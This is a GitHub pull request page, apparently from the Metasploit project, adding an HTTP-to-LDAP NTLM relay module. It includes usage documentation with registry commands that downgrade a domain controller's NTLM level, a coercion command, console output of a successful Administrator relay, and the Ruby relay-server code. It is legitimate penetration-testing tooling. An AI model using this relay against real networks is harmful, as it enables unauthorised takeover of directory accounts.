-
Notifications
You must be signed in to change notification settings - Fork 14.9k
HTTP to LDAP Relay Module #21323
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
HTTP to LDAP Relay Module #21323
Changes from all commits
Commits
Show all changes
2 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
108 changes: 108 additions & 0 deletions
108
documentation/modules/auxiliary/server/relay/http_to_ldap.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,108 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| ### Description | ||
|
|
||
| This module sets up an HTTP server that attempts to execute an NTLM relay attack against an LDAP server on the | ||
| configured `RHOSTS`. The relay attack targets NTLMv1 authentication, as NTLMv2 cannot be relayed to LDAP due to the | ||
| Message Integrity Check (MIC). The module automatically removes the relevant flags to bypass signing. | ||
|
|
||
| This module supports relaying one HTTP authentication attempt to multiple LDAP servers. After attempting to relay to | ||
| one target, the relay server sends a 307 to the client and if the client is configured to respond to redirects, the | ||
| client resends the NTLMSSP_NEGOTIATE request to the relay server. Multi relay will not work if the client does not | ||
| respond to redirects. | ||
|
|
||
| The module supports relaying NTLM authentication which has been wrapped in GSS-SPNEGO. HTTP authentication info is sent | ||
| in the WWW-Authenticate header. In the auth header base64 encoded NTLM messages are denoted with the NTLM prefix, while | ||
| GSS wrapped NTLM messages are denoted with the Negotiate prefix. Note that in some cases non-GSS wrapped NTLM auth can | ||
| be prefixed with Negotiate. | ||
|
|
||
| If the relay attack is successful, an LDAP session is created on the target. This session can be used by other modules | ||
| that support LDAP sessions, such as: | ||
|
|
||
| - `admin/ldap/rbcd` | ||
| - `auxiliary/gather/ldap_query` | ||
|
|
||
| The module also supports capturing NTLMv1 and NTLMv2 hashes. | ||
|
|
||
| ### Setup | ||
|
|
||
| For this relay attack to be successful, it is important to understand the difference between the Target Server (the | ||
| Domain Controller receiving the relayed authentication) and the Victim Client (the machine sending the initial HTTP | ||
| request) and how their respective configurations can impact the success of the attack. | ||
|
|
||
| The Domain Controller must be configured to accept LM or NTLM authentication. This means the `LmCompatibilityLevel` | ||
| registry key on the DC must be set to 4 or lower. If it is set to `5` ("Send NTLMv2 response only. Refuse | ||
| LM and NTLM"), the DC will reject the relayed authentication and the module will fail. | ||
|
|
||
| You can verify or modify the Domain Controller's level using the following commands: | ||
| ```cmd | ||
| # To check the current level: | ||
| reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel | ||
|
|
||
| # To set the level to 4 (or lower): | ||
| reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x4 /f | ||
| ``` | ||
|
|
||
| The client being coerced must be willing to send the vulnerable NTLM responses. | ||
| - Non-Windows Clients: Custom tools or Linux-based HTTP clients are unaffected by Windows registry keys and can easily | ||
| be relayed to a vulnerable DC. | ||
| - Windows Clients: If you are coercing a native Windows HTTP client (like `Invoke-WebRequest` or a browser), the victim | ||
| machine's `LmCompatibilityLevel` dictates what it is allowed to send. To successfully relay a Windows client, its local | ||
| registry key typically needs to be set to `2` or lower. If the Windows client is operating at level `3` or higher, it | ||
| restricts itself to sending only NTLMv2 responses, which will cause the relay to fail even if the target DC is vulnerable. | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Start msfconsole | ||
| 2. Do: `use auxiliary/server/relay/http_to_ldap` | ||
| 3. Set the `RHOSTS` options | ||
| 4. Run the module | ||
| 5. Send an authentication attempt to the relay server | ||
| 6. `Invoke-WebRequest -Uri http://192.0.2.1/test -UseDefaultCredentials` | ||
| 7. Check the output for successful relays and captured hashes | ||
|
|
||
| ## Scenarios | ||
| ### Relaying to multiple targets | ||
| ``` | ||
| msf auxiliary(server/relay/http_to_ldap) > set rhosts 172.16.199.200 172.16.199.201 | ||
| rhosts => 172.16.199.200 172.16.199.201 | ||
| msf auxiliary(server/relay/http_to_ldap) > run | ||
| [*] Auxiliary module running as background job 2. | ||
|
|
||
| [*] Relay Server started on 0.0.0.0:80 | ||
| [*] Server started. | ||
| msf auxiliary(server/relay/http_to_ldap) > [*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130 | ||
| [*] Processing request in state unauthenticated from 172.16.199.130 | ||
| [*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130 | ||
| [*] Processing request in state unauthenticated from 172.16.199.130 | ||
| [*] Received Type 1 message from 172.16.199.130, attempting to relay... | ||
| [*] Attempting to relay to ldap://172.16.199.201:389 | ||
| [*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange` | ||
| [*] Received type2 from target ldap://172.16.199.201:389, attempting to relay back to client | ||
| [*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130 | ||
| [*] Processing request in state awaiting_type3 from 172.16.199.130 | ||
| [*] Received Type 3 message from 172.16.199.130, attempting to relay... | ||
| [*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange` | ||
| [+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to LDAP! | ||
| [+] Relay succeeded | ||
| [*] Moving to next target (172.16.199.200). Issuing 307 Redirect to /ZdF7Ufkm0I | ||
| [*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130 | ||
| [*] Processing request in state unauthenticated from 172.16.199.130 | ||
| [*] Received Type 1 message from 172.16.199.130, attempting to relay... | ||
| [*] Attempting to relay to ldap://172.16.199.200:389 | ||
| [*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange` | ||
| [*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client | ||
| [*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130 | ||
| [*] Processing request in state awaiting_type3 from 172.16.199.130 | ||
| [*] Received Type 3 message from 172.16.199.130, attempting to relay... | ||
| [*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange` | ||
| [+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to LDAP! | ||
| [+] Relay succeeded | ||
| [*] Target list exhausted for 172.16.199.130. Closing connection. | ||
| msf auxiliary(server/relay/http_to_ldap) > sessions -i -1 | ||
| [*] Starting interaction with 5... | ||
|
|
||
| LDAP (172.16.199.200) > getuid | ||
| [*] Server username: KERBEROS\Administrator | ||
| LDAP (172.16.199.200) > | ||
| ``` | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,109 @@ | ||
| # -*- coding: binary -*- | ||
| # frozen_string_literal: true | ||
|
|
||
| module Msf | ||
| module Exploit::Remote::HttpServer | ||
| module Relay | ||
|
|
||
| include ::Msf::Auxiliary::MultipleTargetHosts | ||
| include ::Msf::Exploit::Remote::Relay::NTLM::HashCapture | ||
| include Msf::Exploit::Remote::HttpServer | ||
|
|
||
| attr_reader :logger | ||
|
|
||
| def initialize(info = {}) | ||
| super | ||
| register_options( | ||
| [ | ||
| OptPort.new('SRVPORT', [true, 'The local port to listen on.', 80]), | ||
| OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]), | ||
| OptAddressRange.new('RHOSTS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['LDAPHOST', 'RELAY_TARGETS']), | ||
| OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25]) | ||
| ], self.class | ||
| ) | ||
| @relay_clients = {} | ||
| @relay_clients_mutex = Mutex.new | ||
| end | ||
|
|
||
| def start_service(opts = {}) | ||
| @logger = opts['Logger'] || self | ||
|
|
||
| super | ||
|
|
||
| @http_relay_service = self.service | ||
|
|
||
| relay_path = '/' | ||
| add_resource( | ||
| 'Proc' => Proc.new { |cli, req| on_relay_request(cli, req) }, | ||
| 'Path' => relay_path | ||
| ) | ||
| end | ||
|
|
||
| def on_relay_request(cli, req) | ||
| client_id = Rex::Socket.to_authority(cli.peerhost, cli.peerport) | ||
| cli.keepalive = true | ||
| relay_client = nil | ||
| print_status("Received #{req.method} request for #{req.uri} from #{client_id}") | ||
|
|
||
| # When the 307 redirect is sent to the client, it reconnects on a different port. So the relay server has to keep | ||
| # track of the redirect URIs and associate them with the same client session. This allows the state machine to | ||
| # continue seamlessly even if the client is bouncing between ports. Tracking the client ports but not redirect | ||
| # URI's ends up in an infinite loop of 307 redirects because the client appears to be a new session on each | ||
| # request. Tracking the redirect URI's allows us to correlate the new connection with the existing session | ||
| # and avoid the redirect loop. | ||
|
|
||
| @relay_clients_mutex.synchronize do | ||
| # Try to find the client by their exact TCP connection | ||
| if @relay_clients.key?(client_id) | ||
| relay_client = @relay_clients[client_id] | ||
| relay_client.cli = cli | ||
| else | ||
| previous_client_id = @relay_clients.keys.find { |k| @relay_clients[k].redirect_uri == req.uri && req.uri != '/' } | ||
|
|
||
| if previous_client_id | ||
| # Seamlessly transfer the state machine from the old port to the new port | ||
| relay_client = @relay_clients.delete(previous_client_id) | ||
| relay_client.cli = cli | ||
| @relay_clients[client_id] = relay_client | ||
| else | ||
| # This is a truly new client session | ||
| relay_client = Msf::Exploit::Remote::HttpServer::Relay::NTLM::ServerClient.new( | ||
| cli, | ||
| relay_targets, | ||
| logger, | ||
| datastore['RELAY_TIMEOUT'] | ||
| ) | ||
| relay_client.redirect_uri = req.uri # Track their starting path | ||
| @relay_clients[client_id] = relay_client | ||
| end | ||
| end | ||
| end | ||
|
|
||
| relay_client.process_request(req) | ||
|
|
||
| @relay_clients_mutex.synchronize do | ||
| if relay_client.finished? && @relay_clients[client_id].equal?(relay_client) | ||
| @relay_clients.delete(client_id) | ||
| end | ||
| end | ||
| end | ||
|
|
||
| def send_auth_challenge(cli) | ||
| res = Rex::Proto::Http::Response.new | ||
| res.code = 401 | ||
| res.message = "Unauthorized" | ||
| res.headers['WWW-Authenticate'] = "NTLM" | ||
|
|
||
| cli.put(res.to_s) | ||
| end | ||
|
|
||
| def cleanup | ||
| if @http_relay_service | ||
| @http_relay_service.remove_resource('/') | ||
| Rex::ServiceManager.stop_service(@http_relay_service) | ||
| end | ||
| super | ||
| end | ||
| end | ||
| end | ||
| end |
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.